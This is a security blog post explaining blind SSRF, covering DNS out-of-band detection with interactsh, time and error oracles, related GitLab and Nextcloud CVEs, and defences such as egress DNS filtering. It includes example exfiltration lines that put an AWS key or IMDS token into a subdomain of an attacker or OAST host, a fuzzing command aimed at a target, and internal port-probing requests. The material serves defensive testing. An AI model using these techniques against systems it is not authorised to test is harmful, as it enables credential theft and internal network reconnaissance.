DEV Community

Rxkov
Rxkov

Posted on Originally published at blog.mago.team

Blind SSRF: When the Response Is Empty and DNS Is the Only Channel

The scanner finished in 4 minutes and returned zero SSRF findings. The webhook endpoint accepted any URL and fetched it server-side. Every internal service responded to the DNS lookup. No tool recorded any of it.

Blind SSRF is the dominant production pattern. Scanners that check only the HTTP response body are blind to it by design because there is no response body to check. The exfiltration channel is DNS. It fires before TCP, passes through egress firewalls that suppress HTTP responses, and survives when the server drops the connection after completing the internal request. CVE-2022-0249 (GitLab, CVSS 3.1) and the recurring blind SSRF pattern in Nextcloud Mail confirm this is production-scale, not theoretical.

Production APIs Are Blind by Design, Not by Accident

URL-consuming endpoints rarely reflect the fetched content. POST /api/webhook validates the URL and returns {"valid": true}. The PDF generator fetches the HTML, renders it, and returns a binary file. The thumbnail service fetches the image, resizes it, and returns a JPEG.

None of these flows expose the internal response body to the caller. The application was designed to consume URLs, not to forward what those URLs return. That makes any SSRF against these endpoints blind by definition.

Traditional HTTP scanners detect reflected SSRF: they inject http://169.254.169.254/ and look for the string AMI-id in the response. On the endpoints above, that string never appears, even if the server fetched the content. The scanner reports zero findings; the vulnerability is live.

URL preview endpoints exhibit the same pattern. They fetch the title and og:image and return JSON metadata. If the internal host has no og:image, the endpoint returns an empty 200 OK. The SSRF fired; the scanner saw nothing.

DNS Lookups Happen Before Firewalls Block HTTP

DNS resolution is a prerequisite for establishing a TCP connection. The sequence is: DNS query (step 1), DNS response (step 2), TCP SYN (step 3), HTTP request (step 4), HTTP response (step 5). Egress firewalls operate at layers 3-4 and can suppress step 5. The DNS query at step 1 already reached the attacker's server.

Corporate egress policies typically allow UDP/53 and TCP/53 to internal resolvers. Those resolvers recursively query authoritative servers, which include the attacker's NS. The attacker's NS server logs every query regardless of what the firewall does to the subsequent HTTP response.

Encoding data in the subdomain label is the exfiltration technique. The URL http://AKIA1234EXAMPLE.attacker.com resolves with the token encoded in the subdomain label. The limit is 63 characters per label and 255 per full name; larger data requires multiple sequential requests.

Burp Collaborator and interactsh operate on the same model. Each payload is a unique subdomain; the system holds NS authority for the attacker's domain and captures DNS, HTTP, and SMTP interactions. A single captured DNS query is sufficient proof of blind SSRF.

CVE-2022-0249 and CVE-2023-48307: Blind SSRFs Confirmed via OOB Interaction

CVE-2022-0249 hit GitLab with a CVSS score of 3.1. GitLab did not block requests to the RFC 6598 shared address space (100.64.0.0/10), bypassing its own internal SSRF protection. No content was reflected in the response. Confirmation came exclusively from DNS and HTTP interactions captured by an external listener. Fixed in versions 14.9.2, 14.8.5, and 14.7.7.

CVE-2021-22214 hit the GitLab CI Lint API and allowed unauthenticated SSRF. An attacker submitted a CI configuration referencing an internal URL; the server fetched the content without returning it. GitLab patched CVE-2021-22214 in versions 13.10.5, 13.11.5, and 13.12.2. Affected versions: before 13.10.3, 13.9.6, and 13.8.8.

CVE-2023-48307 hit Nextcloud Mail. The SMTP, IMAP, and Sieve host fields accepted attacker-controlled values. The server opened connections to those hosts; the caller received only success or failure, not response content. Advisory GHSA-8gcx-r739-9pf6 documents a separate variant via a server URL field, fixed in versions 1.15.0 and 2.2.2.

The pattern is consistent across all 3 CVEs: a URL-accepting field, no content reflection, confirmation via OOB interaction. HackerOne report #1736390 for Nextcloud explicitly documents the absence of a reflected body and the proof via DNS interaction.

When DNS Is Also Blocked: Time Oracle and Error Oracle

Environments with egress DNS filtering remove the external OOB channel. Two secondary side-channels remain: response time delta and error message semantics. Neither requires interaction with external systems.

The time oracle measures RTT differences. A closed port returns a TCP RST in 1-5ms. A nonexistent host hits a DNS timeout in 2-30 seconds. A firewalled port matches the firewall rule TTL, typically 30 seconds. Sampling 5 or more requests eliminates network jitter; consistent patterns map internal topology without any external contact.

The error oracle uses distinct strings that appear in the application response. Connection refused indicates the host is reachable and the port is closed. Name or service not known indicates DNS failure. Connection timed out indicates a firewalled port. Each string maps to a different state in the internal network.

Concrete example: POST /api/preview with url=http://192.168.1.1:22 returns {"error": "connection refused"}. The same request with url=http://10.0.0.1:80 returns {"error": "connection timed out"}. The difference between the 2 responses maps the internal network without any OOB interaction.

Capital One (2019) is the counterexample: reflected SSRF, not blind, via a misconfigured WAF on EC2. The IMDSv1 response at http://169.254.169.254/ included credentials in the HTTP body. AWS released IMDSv2 4 months after the breach, requiring a PUT with a TTL header before the GET. AWS began requiring IMDSv2 for new EC2 instances in July 2024.

Detection Methodology: interactsh Setup and Subdomain Encoding

A complete blind SSRF detection workflow requires 3 components: an OOB listener with NS authority, systematic parameter injection, and subdomain encoding for data extraction. This workflow catches what HTTP-only scanners miss by design.

# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Generate a unique payload and wait for interactions
interactsh-client
# Generates payload: abc123.oast.pro
# Polls for DNS/HTTP/SMTP from any host that resolves abc123.oast.pro
Enter fullscreen mode Exit fullscreen mode

The Burp Collaborator Everywhere extension automatically injects the payload into Referer, Host, X-Forwarded-For, and Origin headers on every request. SSRF that surfaces in headers rather than body parameters is caught by this flow without additional configuration.

# Systematic parameter enumeration
ffuf -w params.txt -u "https://target.com/api/preview?FUZZ=http://abc123.oast.pro" \
  -mc 200,302,400,500

# Subdomain encoding for data extraction
# Use IMDS token as subdomain label
# http://AKIA1234TOKEN5678.abc123.oast.pro
# Token appears in the DNS query captured by interactsh
Enter fullscreen mode Exit fullscreen mode

For environments without external connectivity, a local DNS listener removes the dependency on external services.

pip install dnslib
python3 -m dnslib.server --port 5053
# Logs all DNS queries received locally
Enter fullscreen mode Exit fullscreen mode

The same OAST methodology covers blind SSRF, XXE, Log4Shell, and blind SQLi. A single capture point centralizes the signal from multiple vulnerability classes in one assessment.

Defense: Egress DNS Filtering Is the Control Most Teams Skip

Application-level blocklists fail in predictable ways. Lists that deny 169.254.x.x, 10.x.x.x, and 192.168.x.x are bypassed by DNS rebinding, RFC 6598 shared address space (as in CVE-2022-0249), and URL encoding tricks. The blocklist stops the uninformed attacker; it does not hold against real exploitation.

The correct application-level control: resolve the hostname at validation time, resolve it again at connection time, and drop the request if the IPs differ. Libraries such as SafeCurl (PHP), ssrf-safe (Python), and go-ssrf (Go) apply this pattern consistently.

The network control that eliminates the OOB channel: use split-horizon DNS configured to return NXDOMAIN for external hostnames not on an allowlist. This severs DNS exfiltration without depending on any application-layer logic.

The MAGO Intel tool (intel.mago.team) detects blind SSRF in web application scans, including webhook endpoints and email server fields, and reports OOB confirmation in the generated security report.

A DNS query from an application container to an external resolver is a high-fidelity signal in production. It is not expected application traffic. That signal indicates the application is fetching content from an external host, which matches exactly the behavior of blind SSRF under active exploitation.

Deploy interactsh on your next API assessment and inject the payload into every URL-accepting parameter before examining any HTTP response body. You will find blind SSRF that your current tooling has not reported because those tools wait for response content that was never coming.

Top comments (0)